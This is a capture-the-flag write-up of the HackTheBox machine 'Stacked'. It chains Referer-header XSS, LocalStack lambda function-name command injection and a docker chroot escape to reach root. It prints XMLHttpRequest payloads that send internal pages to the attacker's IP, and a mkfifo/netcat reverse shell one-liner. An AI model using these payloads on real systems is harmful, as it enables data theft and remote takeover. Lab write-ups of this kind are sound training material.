Stacked - HackTheBox

Stackedinsane

I started with an nmap scan for open ports.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat nmap.txt
# Nmap 7.92 scan initiated Tue Apr  5 00:07:08 2022 as: nmap -sS --min-rate 5000 -v -n -p- --open -Pn -o nmap.txt 10.10.11.112
Nmap scan report for 10.10.11.112
Host is up (0.30s latency).
Not shown: 52678 filtered tcp ports (no-response), 12855 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Apr  5 00:09:43 2022 -- 1 IP address (1 host up) scanned in 154.73 seconds

Perform another scan to identify the version of each open service.

┌─[root@parrot]─[/home/wackyhacker/HTB/Altered/nmap]
└──╼ cat services.txt
# Nmap 7.92 scan initiated Tue Apr  5 00:09:49 2022 as: nmap -sCV -p80,22 -o services.txt 10.10.11.112
Nmap scan report for stacked.htb (10.10.11.112)
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 12:8f:2b:60:bc:21:bd:db:cb:13:02:03:ef:59:36:a5 (RSA)
| 256 af:f3:1a:6a:e7:13:a9:c0:25:32:d0:2c:be:59:33:e4 (ECDSA)
|_ 256 39:50:d5:79:cd:0e:f0:24:d3:2c:f4:23:ce:d2:a6:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: STACKED.HTB
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr  5 00:09:59 2022 -- 1 IP address (1 host up) scanned in 10.07 seconds
I had two ports open: 22 and 80. At the moment SSH didn't work for me, so I looked at the web server.

Puerto 80

0

Towards a Redirect to stacked.htb, Virtual Hosting was being applied: hosting different domains on the same IP address.

In order to access this domain, I included stacked.htb in /etc/hosts making it point to 10.10.11.159.

0

Now I could see what I had.

0

Apparently it was a counter, nothing interesting, I tried injections in the ‘email’ field but it was not vulnerable.

Fuzzing

I did fuzzing with wfuzz to find directories:

0

It found some directories for me, but they weren’t important, I fuzzed subdomains using the Host header and it found portfolio.

0

I included it in the /etc/hosts.

0

portfolio.stacked.htb

0

This page had three sections: Portfolio, About and Contact, all of which were on the same page.

In About I found a download button for a file called docker-compose.yml.

0

This is a YAML file where volumes, networks and services are usually defined, this was its content:

version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

Apparently it was mounted locally on AWS, this caught my attention so I left it in the background.

XSS

In the Contact section I found a form.

0

This could be vulnerable to XSS, I tried injecting <script>alert("XSS")</script> but this detected it.

0

At this point I decided to intercept the request with Burp to do debugging on the request headers.

0

I opened a server with Python on port 80 and tried to inject <script src="http://10.10.16.59/"></script> into the Referer header.

0

And after a small time interval I received a GET request to my server from the victim machine.

0

The Referer header was vulnerable to XSS.

Strategy

My idea was to identify if the server had interaction with any user, so I created a small JS script with the following content:

var oReq = new XMLHttpRequest();
oReq.open("GET", "http://10.10.16.59:9999/" + document.location, false);
oReq.send();

What I was going to do is send a GET request to my nc session on port 9999 with the path the user was on at that time.

I opened a Python server on port 8000 hosting request-3.js and pointed it to my JS file from the XSS.

0

I waited for a while and received a connection to my nc session which contained a route.

0

It appears the user was on mail.stacked.htb. This subdomain was not found by wfuzz because it was running locally on the machine and had no external access to it.

The next step was to download the HTML from http://mail.stacked.htb/read-mail.php?id=7 and store it in index.html.

What I did was create another script in JS with the following code:

var oReq = new XMLHttpRequest();
oReq.open("POST", "http://10.10.16.59:5555/", false);
oReq.send(document.documentElement.outerHTML);

What this does is send a POST request to my netcat session with the HTML code of the page the user was on through port 5555 and store this in a file called index.html.

I pointed to my JS file named request.js from the XSS and received a connection to my nc session.

0

Attack scheme:

Diagrama en blanco

This was the page with the user’s HTML code.

webservidor2

There was a user named Jeremy Taint with a hyperlink that redirected you to /read-mail.php?id=1:

0

This caught my attention, so I decided to download the corresponding HTML with the following JS code:

var oReq = new XMLHttpRequest();
oReq.open("GET", "http://mail.stacked.htb/read-mail.php?id=1", false);
oReq.send();

var response = oReq.responseText;

var resp = new XMLHttpRequest();
resp.open("POST", "http://10.10.16.59:5555/", false);
resp.send(response);

This sends a GET request to http://mail.stacked.htb/read-mail.php?id=1 from the user instance, stores the response in response, and makes another POST request to my nc session with the contents of the response variable.

I pointed to my JS file from the XSS and got a connection via nc, opened a server via Python and saw that I had this second page.

subdominio

Había un mensaje: Hey Adam, I have set up S3 instance on s3-testing.stacked.htb so that you can configure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances. If you need anything let me know. Thanks.

This said to configure the S3 instance to s3-testing.stacked.htb, this was a new subdomain that I didn’t have, so I added it to /etc/hosts.

0

s3-testing.stacked.htb

s3

Apparently it was an AWS API, seeing this I remembered the docker-compose.yml file which contained information about a local AWS service.

Searching for LocalStack vulnerabilities I found the following:

Screenshot 27

I could abuse the functionName parameter when creating lambda functions to inject my malicious code and thus gain RCE. I had connectivity to s3-testing.stacked.htb which would allow me to create lambda functions.

After a little searching I found a way to create a lambda function, this could be created in more than one language, but I did it with Node.js.

0

Save the following code in a file called lambda.js.

exports.handler =  async function(event, context) {
  return "Hacked"
}

This had to be compressed in ZIP.

ziplambda

To create the function you had to specify certain parameters.

0

Leave all as default except function-name and zip-file, inject my malicious code into function-name, and in zip-file the path to the ZIP containing lambda.js.

The next step was to use awscli to interact with the API and thus create my lambda function.

0

My lambda function was created, but I had to invoke it, so I used the invoke parameter specifying function-name and exporting the result in a file called output.

0

RCE

Remote command execution only happened if the user visited the dashboard, in the docker-compose.yml file I saw that it could be mounted at http://127.0.0.1:8080/ but I didn’t have access to it externally, so I took advantage of the XSS to redirect the user with the document.location object.

0

Some time later I received a GET request to my server.

0

I already had remote command execution, now I just needed to gain access to the machine, so I concatenated a reverse shell with mkfifo.

0

Invoke the function, redirect the user, and get a shell in a container.

0

user.txt

I could now see the user’s flag.

usetxt

ESCALATION OF PRIVILEGES

For privilege escalation I transferred myself to pspy64 and watched the tasks running at regular time intervals.

I saw that Docker was running by concatenating the --handler parameter when creating the lambda function, so if I created my function by adding $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.59 443 >/tmp/f) it was very likely to run the command and gain me root access via nc in the container.

shellcomorootencontentedor

Now I could run the docker command with sudo, I went to gtfobins.

Captura de pantalla 28

Use the command docker run -v /:/mnt --rm -it alpine chroot /mnt sh to create a root mount of the machine at /mnt.

0

root.txt

I started another reverse shell via netcat and ran a bash on the new docker container running, and I could now see the root flag.

0

Leave a comment